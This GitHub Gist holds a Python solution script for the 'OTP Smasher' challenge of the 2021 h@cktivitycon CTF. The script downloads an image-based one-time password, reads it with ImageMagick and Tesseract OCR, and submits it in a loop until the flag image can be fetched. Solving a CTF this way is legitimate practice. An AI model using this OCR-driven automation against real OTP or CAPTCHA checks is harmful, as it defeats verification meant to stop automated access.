-
-
Save PsHegger/b0af5e24831c6b700854c9fc282d445c to your computer and use it in GitHub Desktop.
Script for solving the OTP Smasher challenge in the 2021 h@cktivitycon CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import subprocess | |
import requests | |
from html.parser import HTMLParser | |
base_url = "http://challenge.ctf.games:32004" | |
otp_url = f"{base_url}/static/otp.png" | |
flag_url = f"{base_url}/static/flag.png" | |
class CountParser(HTMLParser): | |
def __init__(self, *, convert_charrefs=True): | |
super().__init__(convert_charrefs=convert_charrefs) | |
self._count_tag = False | |
def handle_starttag(self, tag, attrs): | |
if tag == "p": | |
self._count_tag = True | |
def handle_endtag(self, tag): | |
self._count_tag = False | |
def handle_data(self, data): | |
if self._count_tag: | |
self._count = int(data) | |
@property | |
def count(self): | |
return self._count | |
def update_image(): | |
r = requests.get(otp_url, allow_redirects=True) | |
open('otp.png', 'wb').write(r.content) | |
def download_flag(): | |
r = requests.get(flag_url, allow_redirects=True) | |
if 200 <= r.status_code < 400: | |
open('otp_flag.png', 'wb').write(r.content) | |
return True | |
else: | |
return False | |
def ocr_image(): | |
with open('otp_smasher_out.txt', 'w+') as f: | |
subprocess.run(["convert", "otp.png", "-channel", "RGB", "-negate", "otp.png"]) | |
subprocess.run(["tesseract", "-l", "eng", "otp.png", "otp", "-c", "tessedit_char_whitelist=0123456789"], stdout=f, stderr=f) | |
with open('otp.txt') as f: | |
return ''.join(f.readlines()).strip() | |
def _main(): | |
flag_available = False | |
prev_count = 0 | |
while not flag_available: | |
update_image() | |
otp = ocr_image() | |
r = requests.post(base_url, data={'otp_entry': otp}) | |
count_parser = CountParser() | |
count_parser.feed(r.text) | |
print(f"Count: {count_parser.count}") | |
if prev_count > 0 and count_parser.count == 0: | |
break | |
prev_count = count_parser.count | |
flag_available = download_flag() | |
if __name__ == "__main__": | |
_main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment